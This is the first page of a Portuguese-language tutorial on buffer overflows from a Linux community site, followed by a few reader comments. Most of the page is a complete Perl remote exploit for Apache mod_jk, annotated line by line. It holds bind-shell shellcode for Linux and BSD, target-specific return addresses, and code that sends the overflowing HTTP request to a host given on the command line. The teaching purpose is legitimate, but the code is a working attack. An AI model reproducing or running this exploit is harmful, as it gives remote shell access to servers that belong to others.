Buffer Overflow: Entendendo e explorando

Neste artigo venho explicar de forma direta e com exemplos práticos como funciona um buffer overflow.

[ Hits: 37.769 ]

Por: C00L3R_ em 03/09/2008 | Blog: http://bugsec.com.br


Introdução a buffer overflow



Se você não sabe nada de programação, melhor nem ler este artigo. A pouco tempo um colega fez um "XPL" e me passou, analisei e de primeira não entendi muito o código, resolvi estudar por fora cheguei numa conclusão que vou tentar explicar...

Bem, vou explicar de forma bem simples, depois vamos para o trabalho.

Imagine um copo d'água de 300ml, você vai e coloca 290ml, não vai acontecer nada. Certo, agora você coloca 310ml, o líquido colocado vai derramar! Mas para onde vai este líquido? Para um ralo (ou melhor, para o ralo do cracker).

Vou pegar um buffer overflow simples para estar explicando em linha comentadas.

#!/usr/bin/perl
# (de cara ta para ver que está em Perl)
# Apache w/ mod_jk Remote Exploit
# by eliteboy


use IO::Socket; #Biblioteca para fazer a conexão no alvo

print "***ELiTEBOY*PRESENTZ***APACHE*MOD_JK*REMOTE*EXPLOIT***\n";

$target = $ARGV[1];
if (($#ARGV != 1) || ($target < 1) || ($target > 3)) {
   print "Usage: modjkx.pl <hostname> <targettype>\n";
   print "1.\tSUSE Enterprise Linux Server SP0/SP3 *** Apache 2.2.4 mod_jk-1.2.20\n"
         ."\tDebian 3.1/4.0*Apache 2.2.4/2.2.3&Apache 1.3.37 mod_jk-1.2.20/mod_jk-1.2.19\n";
   print "2.\tSUSE Enterprise Linux Server SP0/SP3 *** Apache 2.2.4 mod_jk-1.2.19\n"
         ."\tDebian 3.1 Sarge*Apache 2.2.4&Apache 1.3.37 mod_jk-1.2.20/mod_jk-1.2.19\n";
   print "3.\tFreeBSD5.4-RELEASE *** Apache 2.2.4 mod_jk-1.2.20/mod_jk-1.2.19\n";
   exit;
} # função para capturar teclas, aqui o usuário define o "target"

$port = 80; #porta para ataque

#este shellcode é do metasploit
### lnx metasploit bindshell code port 2007
my $lnx_shellcode =
   "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49".
   "\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x48\x49\x51\x5a\x6a\x49".
   "\x58\x50\x30\x42\x31\x42\x41\x6b\x41\x41\x59\x41\x32\x41\x41\x32".
   "\x42\x41\x30\x42\x41\x58\x50\x38\x41\x42\x75\x69\x79\x37\x41\x6b".
   "\x6b\x63\x63\x57\x33\x72\x73\x73\x5a\x76\x62\x32\x4a\x55\x36\x51".
   "\x48\x4e\x79\x4e\x69\x38\x61\x6a\x6d\x4f\x70\x7a\x36\x77\x33\x30".
   "\x52\x42\x46\x31\x78\x46\x67\x38\x57\x30\x66\x50\x53\x6d\x59\x4b".
   "\x51\x32\x4a\x63\x56\x70\x58\x50\x50\x50\x51\x50\x56\x6f\x79\x4b".
   "\x51\x7a\x6d\x4f\x70\x48\x30\x65\x36\x4b\x61\x4d\x33\x38\x4d\x4b".
   "\x30\x72\x72\x50\x52\x56\x36\x42\x63\x6b\x39\x68\x61\x6e\x50\x33".
   "\x56\x68\x4d\x6b\x30\x6d\x43\x70\x6a\x33\x32\x66\x39\x6c\x70\x37".
   "\x4f\x58\x4d\x6f\x70\x42\x69\x31\x69\x39\x69\x6e\x50\x74\x4b\x46".
   "\x32\x32\x48\x56\x4f\x46\x4f\x64\x33\x62\x48\x35\x38\x56\x4f\x42".
   "\x42\x30\x69\x50\x6e\x6b\x39\x4a\x43\x56\x32\x73\x63\x4b\x39\x48".
   "\x61\x68\x4d\x6d\x50\x49";

#outro shellcode optativo caso o sistema seja um BSD
### bsd metasploit bindshell code port 5555
my $bsd_shellcode =
   "\xeb\x59\x59\x59\x59\xeb\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59".
   "\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59".
   "\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59".
   "\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59".
   "\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59".
   "\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\xe8\xa4\xff\xff\xff".
   "\x49\x49\x49\x49\x49\x49\x49\x49\x37\x49\x49\x49\x49\x49\x49\x49".
   "\x49\x49\x51\x5a\x6a\x42\x58\x50\x30\x42\x30\x42\x6b\x42\x41\x52".
   "\x42\x41\x32\x42\x41\x32\x41\x41\x30\x41\x41\x58\x38\x42\x42\x50".
   "\x75\x59\x79\x53\x5a\x31\x71\x33\x68\x4d\x49\x50\x52\x32\x48\x76".
   "\x70\x43\x32\x55\x45\x6f\x43\x6c\x49\x68\x61\x36\x32\x51\x52\x36".
   "\x32\x62\x62\x52\x72\x50\x6a\x66\x70\x5a\x6d\x4f\x70\x4f\x69\x6f".
   "\x63\x50\x51\x32\x73\x73\x62\x50\x6a\x72\x48\x36\x38\x38\x4d\x4f".
   "\x70\x4c\x70\x51\x7a\x68\x4d\x6f\x70\x62\x72\x62\x73\x50\x52\x58".
   "\x30\x65\x4e\x5a\x6d\x4d\x50\x6c\x57\x32\x4a\x66\x62\x31\x49\x41".
   "\x7a\x41\x4a\x52\x78\x46\x31\x30\x57\x32\x71\x4a\x6d\x4d\x50\x77".
   "\x39\x51\x69\x6c\x35\x30\x50\x32\x48\x66\x4f\x56\x4f\x32\x53\x62".
   "\x48\x52\x48\x76\x4f\x70\x62\x32\x49\x50\x6e\x4d\x59\x5a\x43\x52".
   "\x70\x72\x74\x56\x33\x70\x53\x6e\x50\x47\x4b\x38\x4d\x6b\x30\x42".
   "A" x 100;

$alignment = 4127; #ajustar o alinhamento

$|=1;

if ($target eq 1) {
   $shellcode = $lnx_shellcode;
   $addr = 0xbffff060;  #endereço de retorno
}

if ($target eq 2) {
   $shellcode = $lnx_shellcode;
   $addr = 0xbfffef4c; #Endereço de retorno
}

if ($target eq 3) {
   $shellcode = $bsd_shellcode;
   $addr = 0xbfbfe5d5; #endereço de retorno
} #3 opções  de endereço, cada sistema tem um jeito de executar o shellcode com o estouro do buffer

$offset = pack('l', $addr); #pack gerenciador de geometria

$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0], #para conectar no alvo
   PeerPort => $port,
   Proto   => 'tcp'); #Protocolo usado

$a = "A" x ($alignment-4-length($shellcode)) . $shellcode . $offset;
# O QUE vai injetar o exploit Alinhamento+Shellcode*endereço
print $sock "GET /$a HTTP/1.0\r\n\r\n";

while(<$sock>) { #laço simples enquanto o socket não fechar não termina
   print;
}

# milw0rm.com [2007-06-22]

    Próxima página

Páginas do artigo
   1. Introdução a buffer overflow
   2. Entendendo o primeiro exemplo
   3. Tentando estourar o buffer com chutes
   4. Chegando ao ponteiro de retorno
Outros artigos deste autor

Ponteiros - Saindo de Pesadelos

Usando OpenBSD como desktop

Módulos de Web no Perl

Banco de dados orientados a documentos

Usando o NetBSD como desktop

Leitura recomendada

Snort - The Open Source Network Intrusion Detection System

Segurança em seu Linux (parte 2)

Segurança no SSH via plugins da PAM

Introdução a criptografia

Protegendo o ESB: Conceitos e técnicas de segurança para empresas de serviços web críticos

  
Comentários
[1] Comentário enviado por rodrigo.forte em 03/09/2008 - 09:19h

Ótimo artigo, explicou de uma forma muito clara .. parabéns.

[2] Comentário enviado por grandmaster em 03/09/2008 - 22:47h

Bem legal a explicação.

Renato de Castro Henriques
CobiT Foundation 4.1 Certified ID: 90391725
http://www.renato.henriques.nom.br

[3] Comentário enviado por DSerafim em 04/09/2008 - 14:29h

O artigo está muito bom. :-)
Eu no final do artigo encontrei uma coisa que acho que não está bem. Posso estar enganado, mas o código ASCII do carácter A acho que não é 41 e sim 65.
Eu experimentei fazer tudo como disses-te e a mim aparece sempre esta linha:
#0 0x32313039 in ?? ()
Nunca me apareceu uma linha idêntica à tua:
#0 0x080483ff in main()
O SO que experimentei foi slackware também, será que alguém me podia explicar porque acontece isto, gostava de perceber um pouco mais deste assunto.

Obrigado. :-)

[4] Comentário enviado por stremer em 04/09/2008 - 19:40h

Opa... só uma observação referente ao comentário do amigo ai de cima.
ASCII do A é 41 sim em Hexa.
65 é em decimal...

Importante estudar como funciona a pilha de uma função de um programa em C para entender um pouco melhor.

Muito legal o artigo, embora seja bem avançado não recomendado para quem nem sabe direito o que é buffer overflow....

[5] Comentário enviado por ederzm em 09/09/2008 - 23:26h

Gostei!

Vou aprofundar p/ aprofundar nesse quesito.

Vlw

[6] Comentário enviado por MAPOGOS em 25/07/2016 - 17:13h

Entendi variaveis recebendo valores e cada target tem retornos diferentes


Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner
Linux banner
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts